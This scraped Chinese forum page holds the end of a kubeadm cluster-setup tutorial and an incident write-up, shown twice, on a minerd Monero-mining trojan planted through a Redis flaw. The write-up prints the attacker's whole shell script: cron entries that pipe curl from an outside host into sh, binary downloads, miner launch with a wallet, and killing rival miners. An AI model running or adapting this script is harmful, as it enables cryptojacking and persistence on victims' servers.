84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e

612b021457a1 gcr.io/google_containers/kube-scheduler-amd64:v1.5.1 "kube-scheduler --add" 25 minutes ago Up 25 minutes k8s_kube-scheduler.bb7d750_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_a49fab86

ac0d8698f79f gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_9a6b7925

2a16a2217bf3 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_d2b51317





kube-apiserver的IP是host ip,从而推断容器使用的是host网络,这从其对应的pause容器的network属性就可以看出:



root@master:~# docker ps |grep apiserver

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 26 minutes ago Up 26 minutes k8s_kube-apiserver.5942f3e3_kubeapiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 26 minutes ago Up 26 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e



问题一、

如果kubeadm init执行过程中途出现了什么问题,比如前期忘记挂加速器导致init hang住,你可能会ctrl+c退出init执行。重新配置后,再执行kubeadm init,这时你可能会遇到下面kubeadm的输出:

# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Some fatal errors occurred:

Port 10250 is in use

/etc/kubernetes/manifests is not empty

/etc/kubernetes/pki is not empty

/var/lib/kubelet is not empty

/etc/kubernetes/admin.conf already exists

/etc/kubernetes/kubelet.conf already exists

[preflight] If you know what you are doing, you can skip pre-flight checks with `--skip-preflight-checks`



kubeadm会自动检查当前环境是否有上次命令执行的“残留”。如果有,必须清理后再行执行init。我们可以通过”kubeadm reset”来清理环境,以备重来。



# kubeadm reset

[preflight] Running pre-flight checks

[reset] Draining node: "iz25beglnhtz"

[reset] Removing node: "iz25beglnhtz"

[reset] Stopping the kubelet service

[reset] Unmounting mounted directories in "/var/lib/kubelet"

[reset] Removing kubernetes-managed containers

[reset] Deleting contents of stateful directories: [/var/lib/kubelet /etc/cni/net.d /var/lib/etcd]

[reset] Deleting contents of config directories: [/etc/kubernetes/manifests /etc/kubernetes/pki]

[reset] Deleting files: [/etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf]





5、要使用Flannel网络,因此我们需要执行如下安装命令:

#kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

configmap "kube-flannel-cfg" created

daemonset "kube-flannel-ds" created



需要稍等几秒钟,我们再来看master node上的cluster信息:

root@master:~# ps -ef |grep kube |grep flannel

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done



root@master:~# kubectl get pods --all-namespaces

NAMESPACE NAME READY STATUS RESTARTS AGE

kube-system dummy-2088944543-r2mw3 1/1 Running 0 30m

kube-system etcd-master 1/1 Running 0 31m

kube-system kube-apiserver-master 1/1 Running 0 31m

kube-system kube-controller-manager-master 1/1 Running 0 31m

kube-system kube-discovery-1769846148-4rsq9 1/1 Running 0 30m

kube-system kube-dns-2924299975-txh1v 4/4 Running 0 30m

kube-system kube-flannel-ds-0fnxc 2/2 Running 0 29m

kube-system kube-flannel-ds-lpgpv 2/2 Running 0 23m

kube-system kube-flannel-ds-s05nr 2/2 Running 0 18m

kube-system kube-proxy-9c0bf 1/1 Running 0 30m

kube-system kube-proxy-t8hxr 1/1 Running 0 18m

kube-system kube-proxy-zd0v2 1/1 Running 0 23m

kube-system kube-scheduler-master 1/1 Running 0 31m



至少集群的核心组件已经全部run起来了。看起来似乎是成功了。





接下来开始node下的操作



6、minion node:join the cluster



这里我们用到了kubeadm的第二个命令:kubeadm join。



在minion node上执行(注意:这里要保证master node的9898端口在防火墙是打开的):

前提node下需要有上面安装的kube组建

7、安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

我是用的是

http://119.29.98.145:8070/zhi/apt-key.gpg



主机master上操作如下:



curl -s http://119.29.98.145:8070/zhi/apt-key.gpg | apt-key add -



cat <<EOF >/etc/apt/sources.list.d/kubernetes.list



deb http://apt.kubernetes.io/ kubernetes-xenial main



EOF



apt-get update



apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

记住master的token

root@node01:~# kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx(ip)

8、在master node上查看当前cluster状态:

root@master:~# kubectl get node

NAME STATUS AGE

master Ready,master 59m

node01 Ready 51m

node02 Ready 46m

挖矿程序minerd入侵分析和解决

互联网资讯koyo 发表了文章 • 0 个评论 • 158 次浏览 • 2017-01-11 18:08 • 来自相关话题

发现问题

最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:




让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:




这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。




本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;




既然没用我继续google,在stackexchange找到如下解决方案:




各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。

商业模式

被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。

攻击&防御

植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。 查看全部


发现问题


最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:
UseCpu.png

让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:
minerd.png

这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。
wbug.png

本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;
crontab.png

既然没用我继续google,在stackexchange找到如下解决方案:
stackerror.png

各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。


商业模式


被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。


攻击&防御


植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。

Mac下亿图(Edraw)画图工具分享

回复

学习资源OS小编 发起了问题 • 1 人关注 • 0 个回复 • 79 次浏览 • 2017-01-11 16:36 • 来自相关话题

添加php的pdo_mysql模块出错

回复

开源技术chris 回复了问题 • 1 人关注 • 1 个回复 • 104 次浏览 • 2017-01-10 14:47 • 来自相关话题

PHP编译后添加pdo_mysql模块

回复

编程语言chris 发起了问题 • 1 人关注 • 0 个回复 • 74 次浏览 • 2017-01-10 14:34 • 来自相关话题